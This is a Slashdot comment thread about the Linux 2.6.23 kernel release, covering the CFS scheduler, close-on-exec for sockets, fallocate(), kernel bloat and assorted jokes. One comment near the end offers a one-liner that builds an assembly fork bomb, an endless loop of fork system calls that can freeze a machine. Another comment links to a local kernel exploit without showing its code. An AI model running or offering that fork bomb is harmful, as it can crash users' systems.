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Linux Kernel v2.6.23 Released
diegocgteleline.es writes "After 3 months, Linus has released Linux 2.6.23. This version includes the new and shiny CFS process scheduler, a simpler read-ahead mechanism, the lguest 'Linux-on-Linux' paravirtualization hypervisor, XEN guest support, KVM smp guest support, and variable process argument length. SLUB is now the default slab allocator, there's SELinux protection for exploiting null dereferences using mmap, XFS and ext4 improvements, PPP over L2TP support. Also the 'lumpy' reclaim algorithm, a userspace driver framework, the O_CLOEXEC file descriptor flag, splice improvements, a new fallocate() syscall, lock statistics, support for multiqueue network devices, various new drivers, and many other minor features and fixes. See the changelog for details."
I RTFA and it didn't mention whether or not it was released under GPL v2 or v3. Does anyone know?
Using openSUSE instead of Windows since 9th of October, 2007 and liking it.
thinkpad-acpi: enable more hotkeys, add input device support to hotkey subdriver
Woot!
Money is the root of all evil?
...the extra flavor that makes this release a little bit more headline-worthy than usual is probably the whole controversy involving the Completely Fair Scheduler. Between Con Kolivas leaving kernel development, the Really Fair Scheduler flamewar and almost ten release candidates, the whole 2.6.23 development was some kind of geek soap opera.
Yes, this is a good thing. However, they seem to have missed some: sockets and pipes. Sockets are not close-on-exec by default, so you may pass a sensitive socket to a child.
Windows NT has the same problem: sockets are inheritable by default until you call SetHandleInformation to disable inheritance. Other handles' inheritability is selected at open/create time.
Luckily, there is a workaround for it, if not pretty: use a reader/writer lock with opening handles as writers and forks as readers.
By the way, the linked changelog on kernelnewbies.org has a bad link for the "recommended LWN article".
For the SELinux thing against null pointer attacks, won't that break DOSemu?
"Screw Sun, cross-platform will never work. Let's move on and steal the Java language." - Visual J++ Product Manager
fallocate() is a new system call which will allow applications to preallocate space to any file(s) in a file system. Applications can get a guarantee of space for particular file(s) - even if later the system becomes full
I was about to go and make fun of Linux for creating a feature that's been around in Windows for quite a while - take your pick of SetFilePointer or sparse files. Yes, yes, I understand that reserving space for a file is not the same as growing it and not using that space. Twas meant to be a troll....But, it turns out that a bit of googling reveals that sparse files under Windows are not all that they are cracked up to be:
http://www.flexhex.com/docs/articles/sparse-files.phtml
This is my sig.
An exploit with feature-complete proof of concept was released for x86_64 linux kernel ia32syscall emulation by cliph at isec in Poland. Exploit code was wildly popular on milw0rm, indicating that this local exploit has lots of potential.
http://tinyurl.com/4ny52
It's called a network effect. Linux improves, and gets more users, some of whom are developers, who improve Linux. It just keeps growing with every cycle.
Proprietary operating systems can't compete because they're closed. The best an innovative user/developer can do is fire off feedback asking for a feature, and it'll be implemented wrong anyway, and then released 3 years later in the next major version.
Even more impressive is that this is the *stable* kernel branch that's growing so fast. The -mm experimental branch has gone right off the hook, to the point Andrew is complaining the development doesn't scale any more with only him at the helm.
For those who want a more conservative choice for servers, there's always something like FreeBSD. It's nice to have choice and interoperability. FreeBSD is more compatible with Linux than Windows XP is compatible with Windows Vista. If you don't believe me, consider that at least FreeBSD and Linux have a lot of standards (APIs, file formats, layouts, etc) in common.
Sam ty sig.
You are correct - that is a really bad analogy. A lot of people just drop the new kernel into whatever distro they have if their problem bit of hardware has a better driver or there's a speed improvement somewhere. Remember even a 1% speed improvement cuts over an hour off the runtime of a weeklong numerical processing job.
Is anyone else noticing the almost exponential rise in the rate at which new features are being added to the kernel? Linux major release anouncements would dwarf similar anouncements by 'competing' operating systems.
I think they write out every little thing they did, designed to more impress than really say oh wow, big new features. Microsoft major releases go in circles, but they do some pretty big stuff. Let's see, starting in NT4, they put the graphics drivers into the kernel, then a few releases later, they moved them out. Then they shifted the whole driver model around a few times. Then they put http protocol into the kernel, then they put the sound drivers outside of the kernel and probably down the road, something will inspire them to move http out of the kernel and put the sound drivers back into the kernel space. And, some of the features they've added along the way include incremental improvements to kernel queues, and, like Linux, MS seems to always be searching for a better scheduler.
This is my sig.
Going over the list, there is little there I wanted and nothing I needed. I think the Linux kernel is getting more and more bloated.
The new kernel also includes ALSA support for the Dreamcast sound device (for the first time - an out of mainline OSS driver did/does exist for 2.4).
More dreamcast support is on the way - expect some more stuff in 2.6.24 and 2.6.25 and I (the author of the code) would love to hear from willing testers, etc
They have heredity - the actual text of the cliche. E.g. "In Soviet Russia X verb Y", or "In Korea only old people do X".
They are subject to natural selection as popular memes will replicate faster by definition.
They have mutations - random(ish) changes, typos or non sequitur that add humour. They even have sexual repoduction since memes can be combined for humorous effect. E.g. in a story about dogs attacking people in North Korea I could quip "In Soviet Korea, dog eat old people!" combining two memes. Both effects are used to avoid an analogue of Muller's ratchet where a stale meme is no longer funny and thus is not copied.
They are also highly virulent to the point where they can take over message boards completely.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
That's no cliché. It's a snowclone.